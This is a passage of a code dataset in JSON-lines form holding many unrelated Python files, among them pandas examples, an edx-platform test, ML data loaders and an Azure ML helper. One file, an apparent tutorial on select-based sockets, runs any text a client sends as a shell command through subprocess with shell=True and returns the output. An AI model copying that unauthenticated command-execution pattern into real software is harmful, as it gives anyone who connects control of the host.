pd\n\nprint(chr(ord('a')+1))\n\ndata = {\n 'state':['Ohio1','Ohio1','Ohio2','Nevada3','Nevada3'],\n 'year':[2000,2001,2002,2001,2002],\n 'pop':[1.5,1.7,3.6,2.4,2.9],\n 'salary':['1000K/MTH - 20000K/MTH', '7K/MTH - 8K/MTH',\n '10000K/MTH - 16000K/MTH', '3K/MTH - 5K/MTH', '7K/MTH - 12K/MTH',]\n}\ndata = pd.DataFrame(data)\nclean = data.drop(data[data['year'] == 2000].index)\nprint(clean)\n#下面这句和clean效果一样\nprint(data[data['year'] != 2000])\nprint(data[data['year'] == 2000].index)\n","repo_name":"Summer-Friend/data_analyze","sub_path":"数据清洗/drop.py","file_name":"drop.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"12606900773","text":"\"\"\"\nTests for toggles, where there is logic beyond enable/disable.\n\"\"\"\n\nfrom unittest.mock import patch\nimport ddt\n\nfrom django.test import override_settings\n\nfrom common.djangoapps.student.tests.factories import UserFactory\nfrom lms.djangoapps.learner_home.waffle import should_redirect_to_learner_home_mfe\nfrom xmodule.modulestore.tests.django_utils import SharedModuleStoreTestCase\n\n\n@ddt.ddt\nclass TestLearnerHomeRedirect(SharedModuleStoreTestCase):\n \"\"\"\n Tests for should_redirect_to_learner_home, used for experimental rollout.\n \"\"\"\n\n def setUp(self):\n super().setUp()\n\n # Set up a user for testing\n self.user = UserFactory\n\n @patch(\"lms.djangoapps.learner_home.waffle.ENABLE_LEARNER_HOME_MFE\")\n def test_should_redirect_to_learner_home_disabled(self, mock_enable_learner_home):\n # Given Learner Home MFE feature is not enabled\n mock_enable_learner_home.is_enabled.return_value = False\n\n # When I check if I should redirect\n redirect_choice = should_redirect_to_learner_home_mfe(self.user)\n\n # Then I never redirect\n self.assertFalse(redirect_choice)\n\n @ddt.data((0, True), (50, False), (100, True))\n @ddt.unpack\n @patch(\"lms.djangoapps.learner_home.waffle.ENABLE_LEARNER_HOME_MFE\")\n @override_settings(LEARNER_HOME_MFE_REDIRECT_PERCENTAGE=50)\n def test_should_redirect_to_learner_home_enabled(\n self, user_id, expect_redirect, mock_enable_learner_home\n ):\n # Given Learner Home MFE feature is enabled\n mock_enable_learner_home.is_enabled.return_value = True\n self.user.id = user_id\n\n # When I check if I should redirect\n redirect_choice = should_redirect_to_learner_home_mfe(self.user)\n\n # Then I redirect based on configuration\n # (currently user ID % 100 < redirect percentage)\n self.assertEqual(expect_redirect, redirect_choice)\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/learner_home/test_waffle.py","file_name":"test_waffle.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"43937497551","text":"\nprint(\"hello world!\")\n\nprint(\"Bye world!\")\n\nnum1 = int(raw_input(\"Enter number #1: \"))\nnum2 = int(raw_input(\"Enter number #2: \"))\ntotal = num1 + num2\nprint(\"The sum is \" + str(total))\n\nnum = int(raw_input(\"Enter a number: \"))\nif num > 0:\n print(\"That is a positive number!\")\n print(\"It is greater than zero!\")\nelif num < 0:\n print(\"That's a negative number!\")\nelse:\n print(\"Zero is neither positive nor negative!\")\n\n\nstring = \"hello there\"\nfor letter in string:\n print(letter.upper())\n\nfor i in range(5):\n print(i)\n\nx = 1\nwhile x <= 5:\n print(x)\n x = x + 1\n\n\nmy_name = \"Bob\"\nfriend1 = \"Alice\"\nfriend2 = \"John\"\nfriend3 = \"Mallory\"\n\nprint(\n\"My bane is %s and my friends are %s, %s, and %s\" %\n(my_name, friend1, friend2, friend3)\n)\n\n\ndef greetAgent(first_name, last_name):\n print(\"%s. %s %s.\" % (last_name, first_name, last_name))\ngreetAgent('James', 'Bond')\n\n\ndef findSum(number):\n sum = 0\n for i in range(number):\n sum = sum + 1\n return sum + number\n\nprint(findSum(10))\n","repo_name":"lawrence1203/mycssi2019","sub_path":"WeLearn/M3-Python/l1-Pyhton_Intro/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30858663821","text":"from lxml import etree\nimport gensim.models\nfrom gensim.test.utils import datapath\nfrom gensim.test.utils import get_tmpfile\nimport numpy as np\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom keras.preprocessing.sequence import pad_sequences\nimport keras\nfrom gensim.models.fasttext import FastText\nimport string\nfrom pprint import pprint as print\nfrom sklearn.model_selection import train_test_split\n\nclass DataGenerator(keras.utils.Sequence):\n 'Generates data for Keras'\n def __init__(self, name, dict_tag, file_path, maxlen, embedding, portion=1, batch_size=32, my_type =\"prediction\"):\n 'Initialization'\n self.my_file_path = file_path\n self.length = int(next(iter(etree.iterparse(self.my_file_path, tag=name)))[1].attrib[\"len\"])//portion\n self.generated_IDs = []\n self.type = my_type\n self.true_labels = np.empty((0,maxlen))\n self.dict_tag = dict_tag\n self.model_embedding = embedding\n self.batch_size = batch_size\n self.file = file_path\n self.parser_gen = iter(etree.iterparse(file_path, tag=\"s\"))\n self.max_len = maxlen\n def get_true_labels(self):\n return np.array(self.true_labels)\n \n def get_IDs(self):\n return self.generated_IDs\n \n def on_epoch_end(self):\n self.parser_gen = iter(etree.iterparse(self.my_file_path, tag=\"s\"))\n\n def __len__(self):\n 'Denotes the number of batches per epoch'\n return int(np.floor((self.length) / self.batch_size))\n\n def __getitem__(self, index):\n 'Generate one batch of data'\n # Generate indexes of the batch\n temp_sentences = []\n \n for i in range(batch_size):\n element = next(self.parser_gen)[1]\n temp_sentences.append(element)\n self.generated_IDs.append(element.attrib[\"i\"])\n if self.type != \"prediction\":\n sentences = [[(tkn.text.lower(), dict_tag[tkn.attrib[\"l\"]]) for tkn in sent] for sent in temp_sentences]\n else:\n sentences = [[tkn.text.lower() for tkn in sent] for sent in temp_sentences]\n element.clear()\n max_len = self.max_len\n X = [[w[0] for w in s] for s in sentences]\n new_X = []\n for seq in X:\n new_seq = []\n for i in range(max_len):\n try:\n new_seq.append(seq[i])\n except:\n new_seq.append(\"\")\n new_X.append(new_seq)\n temp1 = []\n for x in new_X:\n temp = []\n for w in x:\n c = self.model_embedding[w]\n temp.append(c)\n temp1.append(temp) \n new_X = temp1\n new_X = np.array(new_X)\n if self.type != \"prediction\":\n y = pad_sequences(maxlen=max_len, sequences=[[w[1]for w in s] for s in sentences], padding=\"post\", value=dict_tag[\"\"])\n\n if self.type == \"test\":\n #temp_y = y\n #temp_y = temp_y.reshape(y.shape[0]*y.shape[1])\n #print(temp_y.shape)\n self.true_labels = np.concatenate((self.true_labels, y ))\n y = y.reshape(y.shape[0], y.shape[1], 1) \n return new_X, y\n else:\n return new_X","repo_name":"yusaemek/NLP-with-Active-Learning","sub_path":"active_NLP/named_entity_recognition/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13115649786","text":"from flask import jsonify\nfrom models.Car import Car\nfrom models.User import User\n\n\nclass Convert:\n\n @staticmethod\n def convert_data_user(user: User) -> dict:\n return {\n \"id\": user.get_id(),\n \"name\": user.get_name(),\n \"email\": user.get_email(),\n \"balance\": user.get_balance(),\n \"age\": user.get_age(),\n \"photo\": user.get_photo(),\n \"is_admin\": user.get_is_admin(),\n \"is_employee\": user.get_is_employee(),\n \"create_date\": str(user.get_create_date()),\n \"login_date\": str(user.get_login_date()),\n }\n\n @staticmethod\n def convert_data_car(car: Car) -> dict:\n return jsonify({\n \"id\": car.get_id(),\n \"title\": car.get_title(),\n \"description\": car.get_description(),\n \"price\": car.get_price(),\n \"model\": car.get_model(),\n \"type\": car.get_type(),\n \"photo\": car.get_photo(),\n \"is_published\": car.get_is_published(),\n \"employee_id\": car.get_employee_id(),\n \"create_date\": car.get_create_date(),\n })\n","repo_name":"artemelyashevich/cars","sub_path":"utils/Convert.py","file_name":"Convert.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35946419464","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport itchat\nimport json\n\n\ndef main():\n name_list = []\n itchat.auto_login(True)\n # f = itchat.search_friends(name='朱琳')\n # print(f)\n friends = itchat.get_friends()\n print(len(friends))\n for friend in friends:\n # print(str(friend))\n f = str(friend)\n flist = f.split(',')\n for l in flist:\n if 'RemarkName' in l:\n d = l[l.find(':') + 3:-1]\n if d:\n name_list.append(d)\n continue\n if 'NickName' in l:\n name_list.append(l[l.find(':') + 3:-1])\n print(len(name_list))\n for n in name_list:\n print(n)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Curry-Hui/PythonDemo","sub_path":"demo04.py","file_name":"demo04.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12662648326","text":"### Information ###\n# This program takes the VERITAS star data of beta CMa and epsilon Ori, which were extracted using the web plot digitizer\n# The goal is to cross-check our spatial coherence function, in particular if the calculation of the angular diameter\n# Error bars from the VERITAS data were not considered, which may lead to slight deviations \n\nimport numpy as np\nfrom scipy.optimize import curve_fit\nimport scipy.special as scp\nimport matplotlib.pyplot as plt\n\n# Operating wavelength\nlam = 465e-9\n\ndef spatial_coherence(x, amp, ang):\n return amp * (2*scp.j1(np.pi * x * ang/lam) / (np.pi* x * ang/lam))**2\ndef bessel(phi, baseline):\n return scp.j1(np.pi*baseline*phi/lam)\ndef numerical_deviation(phi, baseline):\n step = 1e-10\n y1 = bessel(phi, baseline)\n y2 = bessel(phi+step, baseline)\n slope = (y2-y1) / (step)\n return slope\ndef delta_spatial_coherence(x, A,dA, phi,dphi):\n sum1 = dA * 4 * scp.j1(np.pi*x*phi/lam)**2*lam**2 / (np.pi*x*phi)**2\n sum2 = dphi * A * 4 * lam**2 / (np.pi*x)**2 * ( -2*scp.j1(np.pi*x*phi/lam)**2/phi**3 + 2*scp.j1(np.pi*x*phi/lam)/phi**2 * numerical_deviation(phi,baseline=x) )\n return np.sqrt( sum1**2 + sum2**2 )\n\ndef rad2mas(x):\n return 180*3600*1000/np.pi * x\n\nplt.figure(figsize=(10,5))\n# read in data\nbaseline = np.loadtxt(\"data_bcma.txt\")[:,0]\ng2 = np.loadtxt(\"data_bcma.txt\")[:,1]\n\n# calculate SC fit and errorbars\npopt, pcov = curve_fit(spatial_coherence, baseline, g2, p0=[1.3, 2.2e-9])\nperr = np.sqrt(np.diag(pcov))\nxplot = np.arange(0.1,185,0.1)\n\nplt.subplot(121); plt.title(\"$beta$ CMa (VERITAS: 0.523 +/- 0.017 mas)\")\nplt.plot(baseline, g2, \"o\")\nplt.plot(xplot, spatial_coherence(xplot, *popt), color=\"grey\", label=\"{:.3f} +/- {:.3f} (mas)\".format( rad2mas(popt[1]),rad2mas(perr[1]) ))\n\nplt.xlim(0,185)\nplt.ylim(0,1.4)\nplt.legend()\n\n\n# read in data\nbaseline = np.loadtxt(\"data_eori.txt\")[:,0]\ng2 = np.loadtxt(\"data_eori.txt\")[:,1]\n\n# calculate SC fit and errorbars\npopt, pcov = curve_fit(spatial_coherence, baseline, g2, p0=[1.3, 2.2e-9])\nperr = np.sqrt(np.diag(pcov))\nxplot = np.arange(0.1,185,0.1)\n\nplt.subplot(122); plt.title(\"$\\epsilon$ Ori (VERITAS: 0.631 +/- 0.017 mas)\")\nplt.plot(baseline, g2, \"o\")\nplt.plot(xplot, spatial_coherence(xplot, *popt), color=\"grey\", label=\"{:.3f} +/- {:.3f} (mas)\".format( rad2mas(popt[1]),rad2mas(perr[1]) ))\n\nplt.xlim(0,185)\nplt.ylim(0,1.4)\nplt.legend()\n\nplt.show()","repo_name":"AndiZm/curcor","sub_path":"programs/analysis/2022/tests/fittest_veritas/fittest.py","file_name":"fittest.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18737133864","text":"import secrets\nimport string\nimport DeterministicTransition\nimport DeterministicTransitionSet\nimport Symbol\nimport SymbolSet\nimport Estado\nimport ConjuntoEstados\nimport random\n\ndef random_str(_size):\n size = _size # Tamanho da string desejada\n caracteres = string.ascii_letters + string.digits # Letras maiúsculas, minúsculas e dígitos\n\n random_str = ''.join(secrets.choice(caracteres) for _ in range(size))\n \n return random_str\n \n\ndef make_random_transition():\n name_1 = random_str(1)\n name_2 = random_str(1)\n name_3 = random_str(1)\n state_1 = Estado.State(name_1)\n state_2 = Estado.State(name_2)\n symbol = Symbol.Symbol(name_3)\n ret = DeterministicTransition.DeterministicTransition(state_1, state_2, symbol)\n return ret\n\ndef make_random_symbol_set(size = 100):\n symbols = SymbolSet.SymbolSet()\n for i in range(size):\n symbol = Symbol.Symbol(random_str(1))\n symbols.include(symbol)\n return symbols\n\ndef make_random_state_set(size = 100):\n state_set = ConjuntoEstados.StateSet()\n for i in range(size):\n state = Estado.State(random_str(15))\n state_set.include(state)\n \n return state_set\n\ndef make_transition(states, symbol):\n id_1 = random.randint(0, 51)\n id_2 = random.randint(0, 51)\n ","repo_name":"jooj211/lfa-2023.1","sub_path":"python/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6307520805","text":"from mylib import model_train\nimport pickle\n\nif __name__ == \"__main__\":\n classifier, score = model_train.train(\"data/penguins_size.csv\", True, max_evals=5)\n\n print(score)\n\n # save model\n pickle_out = open(\"classifier.pkl\", \"wb\")\n pickle.dump(classifier, pickle_out)\n pickle_out.close()\n","repo_name":"TimoKerr/realtime-training","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72120540882","text":"\nfrom azureml.core import Workspace,Environment\nfrom azureml.core.conda_dependencies import CondaDependencies\n\nfrom azureml.core.compute import AmlCompute\nfrom azureml.core.compute import ComputeTarget\nfrom azureml.core.compute_target import ComputeTargetException\n\nfrom azureml.core.runconfig import RunConfiguration\n\ndef getOrCreateCompute(ws:Workspace)-> AmlCompute:\n \n\n aml_compute_target = \"testcot\"\n try:\n aml_compute = AmlCompute(ws, aml_compute_target)\n print(\"found existing compute target.\")\n except ComputeTargetException:\n print(\"creating new compute target\")\n\n provisioning_config = AmlCompute.provisioning_configuration(vm_size = \"STANDARD_D2_V2\",\n min_nodes = 0, \n max_nodes = 4) \n aml_compute = ComputeTarget.create(ws, aml_compute_target, provisioning_config)\n aml_compute.wait_for_completion(show_output=True, min_node_count=None, timeout_in_minutes=20)\n finally:\n return aml_compute\n\ndef createRunConfig()-> RunConfiguration:\n # create a new runconfig object\n run_config = RunConfiguration()\n myenv = Environment(name=\"myenv\")\n conda_dep = CondaDependencies(conda_dependencies_file_path=\"ci_dependencies.yml\")\n myenv.python.conda_dependencies=conda_dep\n # enable Docker \n run_config.environment=myenv\n\n ## set Docker base image to the default CPU-based image\n #run_config.environment.docker.base_image = \"mcr.microsoft.com/azureml/lightgbm-3.2-ubuntu18.04-py37-cpu-inference:latest\"\n ## use conda_dependencies.yml to create a conda environment in the Docker image for execution\n #run_config.environment.python.user_managed_dependencies = False\n ## specify CondaDependencies obj\n #run_config.environment.python.conda_dependencies = CondaDependencies(conda_dependencies_file_path='ci_dependencies.yml')\n\n return run_config","repo_name":"cotus997/mlops-titanic","sub_path":"mlservice/pipeline/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23183789941","text":"'''\nhttp://www.liangxiansen.cn/2016/08/05/IO%20Module/\n'''\n\n\n# #!/usr/bin/env python\n# # -*- coding:utf-8 -*-\n# # Author: Liang Lian\n# # Python 3.5\nimport socket\nimport select\nimport queue\nimport subprocess\nimport json\nsk = socket.socket() # 创建socket对象\nsk.bind(('127.0.0.1', 6666,)) # 设置监听的IP与端口\nsk.listen(5) # 设置client最大等待连接数\ninputs = [sk, ] # 需要侦听接收消息的socket对象列表\noutputs = [] # 所有给server端发过消息的客户端socket列表,都是需要回消息的\nmessages = {} # 接受到的消息\n# message的样板信息\n# message = {\n# 'c1':队列(存放客户端发送过来的消息)\n# 'c2':队列，\n# }\nwhile True: # 循环\n rlist, wlist, e = select.select(inputs, outputs, [], 1)\n meu = '''\n inputs(侦听已经链接的socket列表): %s\n rlist(侦听的socket中发生变化的socket列表): %s\n wlist(侦听回消息列表,发生变化的socket列表): %s\n outputs(需要回消息的socket列表): %s\n '''\n print(meu % (len(inputs), len(rlist), len(wlist), len(outputs)))\n # 监听sk(服务器端)对象,如果sk对象发生变化,表示有客户端连接来了,此时rlist值为[sk]\n # 监听connection对象,如果connection发生变化,表示客户端有新消息发过来了,此时rlist的值为[客户端]\n # rlist = [sk,]\n for r in rlist: # 轮询侦听的socket列表\n if r == sk: # 如果侦听到是服务端socket发送变化了,说明有新的客户端链接过来了\n connection, address = r.accept() # 接收客户端对象\n # connection是什么? 其实是客户端socket对象\n inputs.append(connection) # 加到侦听的socket对象列表中\n messages[connection] = queue.Queue() # 字典中为这个客户端连接建立一个消息队列\n else:\n '''\n 如果侦听到发送变化的socket对象不是服务端自己的socket,那么就是客户端socket变化了,说明客户端那边发消息过来了\n '''\n # 有人给我发消息了\n print(\"=======\")\n ret = r.recv(1024) # 接收消息\n if ret:\n p = subprocess.Popen(str(ret, encoding='utf-8'),\n shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)\n res = p.stdout.read()\n if not res:\n res = 'command error'\n # 解决粘包\n msg_size = len(res)\n response_msg = {'status': 'Ready',\n 'size': msg_size,\n 'content': res}\n response_msg = json.dumps(response_msg)\n outputs.append(r) # 接收完消息后把客户对象加到回消息列表\n messages[r].put(response_msg) # 把接受到的消息加到字典里面\n else:\n inputs.remove(r) # 报错,客户端链接断开,删除侦听的客户端socket对象\n # 所有给我发过消息的人\n for w in wlist:\n try:\n msg = messages[w].get_nowait() # 去指定队列取数据,并且不阻塞\n msg_dict = json.loads(msg)\n w.sendall(bytes(str(msg_dict['size']), encoding='utf-8'))\n recv_tag = w.recv(1024)\n if str(recv_tag, encoding='utf-8') == 'Start':\n response = bytes(msg_dict['content'], encoding='utf-8')\n w.sendall(response) # 反馈消息\n outputs.remove(w) # 从回消息列表中删除客户端socket对象\n else:\n raise Exception('断开连接')\n except Exception as error: # 发送异常,说明连接中断\n del messages[r] # 删除接收到的消息\n# # rlist = [sk,], rlist=[sk1,],rlist=[sk1,sk2]\n# # rlist = []","repo_name":"greatabel/puzzle_I_cracked","sub_path":"4PythonAlgorithmInterview/Interview_feedback/i9qingcloud/i9_0select.py","file_name":"i9_0select.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"zh","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"32349921813","text":"import cv2 as cv\nimport numpy as np\nimport glob, os\nfrom PIL import Image\nimport time\n\nstep = 10\n\nfilenames = glob.glob('./frames/*')\nfilenames = sorted(filenames, key=os.path.basename)\n\nframes = len(filenames) - 144\n\nfor k in range(1):\n \n img = np.zeros(shape = (1440, 1440, 3), dtype = np.uint8)\n t1 = time.time_ns()\n \n for i in range(0, 144, 1):\n \n img[i*10 : i*10 + step] = cv.imread(filenames[i + k])[i*10 : i*10 + 10]\n \n t2 = time.time_ns()\n print(\"crop =\", (t2 - t1) / 10**9)\n \n img = Image.fromarray(img)\n img.save(\"./results/rframe\" + \"{}\".format(k).zfill(4) + \".jpg\")\n \n\n'''\n# the last worked version without modifications\n\nfor k in range(frames):\n\n img = np.zeros(shape = (1440, 1440, 3), dtype = np.uint8)\n \n for i in range(0, 144, 1):\n img[i*10 : i*10 + step] = Image.open(filenames[i + k]).crop((0, i*10, 1440, i*10 + 10))\n \n img = Image.fromarray(img)\n img.save(\"./results/rframe\" + \"{}\".format(k).zfill(4) + \".jpg\")\n \n'''","repo_name":"IlyaMbot/Video_with_py","sub_path":"cut.py","file_name":"cut.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"74884010960","text":"import requests\nimport geopandas as gpd\nfrom shapely.geometry import Point\nimport folium\nfrom geopandas.tools import geocode\nimport pygeos\nimport rasterio\nfrom rasterio.warp import calculate_default_transform, reproject, Resampling\nimport os\n\n# URLs to download GeoJSON and TIFF files\nurls = [\n \"https://gist.github.com/wavded/1200773/raw/99c1af9980b295bc882ab813a1a0f16536d60236/sample.json\",\n \"https://www.learningcontainer.com/wp-content/uploads/2020/08/Sample-Tiff-File-download.tiff\"\n]\n\n# Downloading GeoJSON and TIFF files\nfor url in urls:\n r = requests.get(url)\n filename = os.path.basename(url)\n with open(filename, 'wb') as file:\n file.write(r.content)\n\n# Load downloaded GeoJSON file\ngdf = gpd.read_file('sample.json')\n\n# 1.1 Data Structures: Uniting Geometry and Tabular Data\ngs = gpd.GeoSeries([Point(1, 1), Point(2, 2), Point(3, 3)])\ngdf = gpd.GeoDataFrame({'geometry': gs})\n\n# 1.2 Reading and Writing Files: Embracing the Spatial Narratives\ngdf = gpd.read_file('sample.json') # Load GeoJSON file as a GeoDataFrame\n\n# 1.3 Indexing and Selecting Data: A Glimpse of Geometric Wonders\nfirst_geometry = gdf.loc[0, 'geometry'] # Select the geometry of the first row\n\n# 1.4 Making Maps and Plots: Painting the World with Spatial Elegance\ngdf.plot() # Create a plot of the GeoDataFrame\n\n# 1.5 Interactive Mapping: Unleashing Spatial Tales with Interactivity\nm = folium.Map([51.5, -0.25], zoom_start=10) # Create an interactive map\nfolium.GeoJson(gdf).add_to(m) # Add GeoJSON data to the map\n\n# 1.6 Projections: Transforming Perspectives, Illuminating the World\ngdf = gdf.to_crs(epsg=4326) # Change the coordinate reference system (CRS) to EPSG 4326\n\n# 1.7 Geometric Manipulations: Sculpting Spatial Beauty\nbuffered_gdf = gdf.buffer(distance=1) # Create a buffer around the geometries\n\n# 1.8 Set Operations with Overlay: Uniting and Distinguishing Spatial Tales\ngdf1 = gdf.copy()\ngdf2 = gdf.copy()\nresult = gpd.overlay(gdf1, gdf2, how='intersection') # Perform an intersection between two GeoDataFrames\n\n# 1.9 Aggregation with Dissolve: Blending the Spatial Essence\ngdf['category'] = ['cat1', 'cat2', 'cat1']\naggregated = gdf.dissolve(by='category') # Dissolve geometries based on a column\n\n# 1.10 Merging Data: Fusing Spatial Narratives\ngdf1['key'] = ['A', 'B', 'C']\ngdf2['key'] = ['B', 'A', 'C']\nmerged = gdf1.merge(gdf2, on='key') # Merge two GeoDataFrames based on a common column\n\n# 1.11 Geocoding: Enchanting Addresses into Spatial Coordinates\ngeocoded = geocode(\"1600 Pennsylvania Ave NW, Washington, DC 20500\", provider='nominatim') # Convert address to coordinates\n\n# 1.12 Sampling Points: Capturing Spatial Essence with Delicacy\n# Assuming that gdf's geometry column contains lines\ngdf['geometry'] = pygeos.line_interpolate_point(gdf['geometry'], 0.5) # Sample points along the lines\n\n# 2.2 Re-projecting using GDAL with Rasterio and Fiona: Harmonizing Spatial Perspectives\nwith rasterio.open('Sample-Tiff-File-download.tiff') as src: # Open the TIFF file\n transform, width, height = calculate_default_transform(\n src.crs, 'EPSG:4326', src.width, src.height, *src.bounds\n )\n kwargs = src.meta.copy()\n kwargs.update(\n {\n 'crs': 'EPSG:4326',\n 'transform': transform,\n 'width': width,\n 'height': height\n }\n )\n\n with rasterio.open('output.tif', 'w', **kwargs) as dst: # Create a new TIFF file with reprojected data\n for i in range(1, src.count + 1):\n reproject(\n source=rasterio.band(src, i),\n destination=rasterio.band(dst, i),\n src_transform=src.transform,\n src_crs=src.crs,\n dst_transform=transform,\n dst_crs='EPSG:4326',\n resampling=Resampling.nearest\n )\n\n# 3.2 GeoDataFrame: Fusing Geometry and Tabular Beauty\ngdf = gpd.GeoDataFrame({'geometry': gs}) # Create a GeoDataFrame with the GeoSeries\ntotal_area = gdf['geometry'].area.sum() # Calculate the total area of all geometries\n\n# 3.3 Input/Output: Unveiling the Gateway to Spatial Worlds\ngdf.to_file('output.geojson', driver='GeoJSON') # Save the GeoDataFrame as a GeoJSON file\n\n# 3.4 Tools: Unleashing High-level Spatial Mastery\ngdf1 = gpd.read_file('sample.json') # Load a GeoJSON file as a GeoDataFrame\ngdf2 = gpd.read_file('sample.json') # Load a GeoJSON file as a GeoDataFrame\njoined = gpd.sjoin(gdf1, gdf2, how='inner', op='intersects') # Perform a spatial join between two GeoDataFrames\n\n# Print the loaded GeoDataFrame\nprint(gdf)\n","repo_name":"drukpa1455/geo-min","sub_path":"dojo/basics/en/libs/geopandas.py","file_name":"geopandas.py","file_ext":"py","file_size_in_byte":4565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7304345947","text":"# test_cache.py\n\nfrom pandas import read_csv\n\nfrom src.cache import CachedData\n\n\ndef test_cached_data():\n data = CachedData(file_path=\"./data/sim_matrix.csv\")\n expedted = read_csv(\"./data/sim_matrix.csv\", encoding=\"iso-8859-1\")\n expedted.set_index(expedted.columns[0], inplace=True)\n assert data.get_sim_matrix().equals(expedted)\n","repo_name":"steffenkk/recommendation-app","sub_path":"test/test_cache.py","file_name":"test_cache.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"41633865106","text":"import json\nimport random\nfrom random import choice\n\n\ndef get():\n name = ''\n tel = ''\n letter = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\"]\n nums = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"0\"]\n while len(name) != 7:\n name += choice(letter)\n while len(tel) != 10:\n tel += choice(nums)\n person = {\n 'name': name,\n 'tel': tel\n }\n return person\n\n\ndef write(per_dict):\n try:\n data = json.load(open(\"persons.json\"))\n except FileNotFoundError:\n data = dict()\n data.update({f\"{random.randint(1000000000, 9999999999)}\": per_dict})\n with open('persons.json', 'w') as f:\n json.dump(data, f, indent=4)\n\n\nfor i in range(5):\n write(get())\n","repo_name":"animeh4ter/HWS","sub_path":"simpleJsonHW.py","file_name":"simpleJsonHW.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24507818704","text":"\nimport os\nimport random\nimport numpy as np\nfrom PIL import Image\nimport tensorflow as tf\n\nimport hyperparameters as hp\n\nclass Datasets():\n \"\"\" Class for containing the training and test sets as well as\n other useful data-related information. Contains the functions\n for preprocessing.\n \"\"\"\n def __init__(self, data_path_train, data_path_test):\n # Setup data generators\n # TRAIN DATA\n self.train_data = self.get_data(data_path_train, True, True)\n # TEST DATA\n self.test_data = self.get_data(data_path_test, False, False)\n\n\n def get_data(self, path, shuffle, augment):\n \"\"\" Returns an image data generator which can be iterated\n through for images and corresponding class labels.\n\n Arguments:\n path - Filepath of the data being imported, such as\n \"../data/train\" or \"../data/test\"\n shuffle - Boolean value indicating whether the data should\n be randomly shuffled.\n augment - Boolean value indicating whether the data should\n be augmented or not.\n\n Returns:\n An iterable image-batch generator\n \"\"\"\n if augment:\n # Use the arguments of ImageDataGenerator()\n # to augment the data. Leave the\n # preprocessing_function argument as is unless\n # you have written your own custom preprocessing\n # function (see custom_preprocess_fn()).\n #\n # Documentation for ImageDataGenerator: https://bit.ly/2wN2EmK\n #\n # ============================================================\n data_gen = tf.keras.preprocessing.image.ImageDataGenerator(\n preprocessing_function=self.preprocess_fn, \n horizontal_flip=True, \n zoom_range=[.5, 1.0],\n fill_mode='nearest')\n # ============================================================\n else:\n # Don't modify this\n data_gen = tf.keras.preprocessing.image.ImageDataGenerator(\n preprocessing_function=self.preprocess_fn)\n\n # model takes 256x256\n img_size = hp.img_size\n\n # Form image data generator from directory structure\n data_gen = data_gen.flow_from_directory(\n path,\n target_size=(img_size, img_size),\n # save_to_dir=os.path.join(self.data_path, \"preprocess/\"),\n batch_size=hp.batch_size,\n shuffle=shuffle)\n \n return data_gen\n\n def normalize_img(img):\n img = tf.cast(img, dtype=tf.float32)\n return (img / 255.0)\n\n def preprocess_train_image(self, img, label):\n # Random flip\n img = tf.image.random_flip_left_right(img)\n # Resize to the original size first\n img = tf.image.resize(img, [*orig_img_size])\n # Random crop to 256X256\n img = tf.image.random_crop(img, size=[*input_img_size])\n # Normalize the pixel values in the range [-1, 1]\n img = normalize_img(img)\n return img\n","repo_name":"artset/image-to-illustration","sub_path":"model/preprocess_old.py","file_name":"preprocess_old.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37554700591","text":"from random import choice\nquestion = [\"Por que o seu é azul? \", \n \"Por que o queijo tem buracos? \", \n \"Por que a água é transparente? \", \n \"Onde estão os dinossauros? \"]\n\nquestion = choice(question)\nanswer = input(question).strip().lower()\n\nwhile answer != \"porque sim\":\n answer = input(\"Por quê? \").strip()\n\nprint(\"Oh... Okay\")","repo_name":"IonaSantana/The_Python_Bible","sub_path":"baby_conversation.py","file_name":"baby_conversation.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} 